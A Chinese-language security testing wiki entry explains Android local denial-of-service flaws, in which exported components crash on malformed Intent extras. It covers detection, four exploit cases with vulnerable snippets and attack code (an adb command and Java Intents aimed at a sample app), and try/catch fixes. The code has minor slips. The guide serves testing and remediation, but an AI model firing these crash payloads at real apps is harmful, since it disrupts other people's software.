WIKI

7.8 应用本地拒绝服务漏洞检测

(1)描述

Android系统提供了ActivityServiceBroadcast Receiver等组件,并提供了Intent机制来协助应用间的交互与通讯,Intent负责对应用中一次操作的动作、动作涉及数据、附加数据进行描述,Android系统则根据此Intent的描述,负责找到对应的组件,将Intent传递给调用的组件,并完成组件的调用。Android应用本地拒绝服务漏洞源于程序没有对Intent.GetXXXExtra()获取的异常或者畸形数据处理时没有进行异常捕获,从而导致攻击者可通过向受害者应用发送此类空数据、异常或者畸形数据来达到使该应用Crash的目的,简单的说就是攻击者通过Intent发送空数据、异常或畸形数据给受害者应用,导致其崩溃。

(2)风险等级

低危

(3)影响范围

所有

(4)检测方法

检测类型:动态分析

0x01 通用检测方法:对导出的组件传递一个不存在的序列化对象,若没有try...catch捕获异常就会崩溃

ComponentName cn = new ComponentName("com.test", "com.test.TargetActivity")

Intent i = new Intent()

i.setComponentName(cn)

i.putExtra("key", new CustomSeriable())

startActivity(i)

 

public class DataSchema implements Serializable {

        public DataSchema() {

                super();

        }

}

日志就会报类似下面的异常:

IMG_256

(5)漏洞利用

构造空数据、异常或者畸形数据来达到使应用crash

A.NullPointerException异常导致的拒绝服务

源于程序没有对getAction()等获取到的数据进行空指针判断,从而导致了空指针异常导致应用崩溃

漏洞代码片段:

Intent i = new Intent();

if (i.getAction().equals("TestForNullPointerException")) {

    Log.d("TAG", "Test for Android Refuse Service Bug");

}

攻击代码:

adb shell am start -n com.bug.ddos/.Main2Activity

 

B.ClassCastException异常导致的拒绝服务

源于程序没有对getSerializableExtra()等获取到的数据进行类型判断而进行强制类型转换,从而导致类型转换异常导致拒绝服务漏洞

漏洞代码片段:

Intent i = getIntent();

String test = (String) i.getSerializableExtra("serializable_key");

攻击代码:

Intent i = new Intent();

i.setClassName("com.bug.ddos", "com.bug.ddos.SecondActivity");

i.putExtra("serializable_key", BigInteger.valueOf(1));

startActivity(i);

 

C.IndexOutOfBoundsException异常导致拒绝服务漏洞

源于程序没有对getIntegerArrayListExtra()等获取到的数据数组元素大小判断,导致数组访问越界而造成拒绝服务漏洞

漏洞代码片段:

Intent intent = getIntent();

ArrayList<Integer> intArray = intent.getIntegerArrayListExtra("user_id");

if (intArray != null) {

    for (int i = 0; i < 10; i++) {

        intArray.get(i);

    }

}

攻击代码:

Intent intent = new Intent();

intent.setClassName("com.bug.ddos", "com.bug.ddos.SecondActivity");

ArrayList<Integer> user_id = new ArrayList<Integer>();

intent.putExtra("user_id", user_id);

startActivity(intent);

 

 

D.ClassNotFoundException异常导致的拒绝服务漏洞

源于程序没有找到从getSerializableExtra()获取到的序列化对象的类定义,因此导致发生类未定义的异常导致拒绝服务漏洞

漏洞代码片段

Intent i = getIntent();

i.getSerializableExtra("key");

攻击代码:

static class SelfSerializableData implements Serializable {

                private static final long serialVersionUID = 42L;

 

                public SelfSerializableData() {

                        super();

                }

        }

 

        @Override

        protected void onCreate(Bundle savedInstanceState) {

                super.onCreate(savedInstanceState);

                setContentView(R.layout.activity_main);

 

                Intent i = new Intent();

                i.setClassName("com.bug.ddos", "com.bug.ddos.SecondActivity");

                i.putExtra("key", new SelfSerializableData());

                startActivity(i);

        }

 

(6)修复方案

ü  将比不要导出的组建设置为不导出

ü  在处理Intent数据时,进行捕获异常,通过Intent.getXXXExtra()获取的数据时进行以下判断,以及用try catch方式捕获所有异常,防止出现拒绝服务漏洞,包括:空指针异常、类型转换异常、数组越界访问异常、类未定义异常、其他异常

Try{

    ....

xxx.getXXXExtra()

....

}Catch Exception{

    //为空即可

}

(7)样例参考

http://www.wooyun.org/bugs/wooyun-2016-0172004

(8)参考资料

http://www.droidsec.cn/android%E5%BA%94%E7%94%A8%E6%9C%AC%E5%9C%B0%E6%8B%92%E7%BB%9D%E6%9C%8D%E5%8A%A1%E6%BC%8F%E6%B4%9E%E6%B5%85%E6%9E%90/

http://blogs.360.cn/blog/android-app%E9%80%9A%E7%94%A8%E5%9E%8B%E6%8B%92%E7%BB%9D%E6%9C%8D%E5%8A%A1%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E6%8A%A5%E5%91%8A/

http://blogs.360.cn/blog/android-app%E9%80%9A%E7%94%A8%E5%9E%8B%E6%8B%92%E7%BB%9D%E6%9C%8D%E5%8A%A1%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E6%8A%A5%E5%91%8A/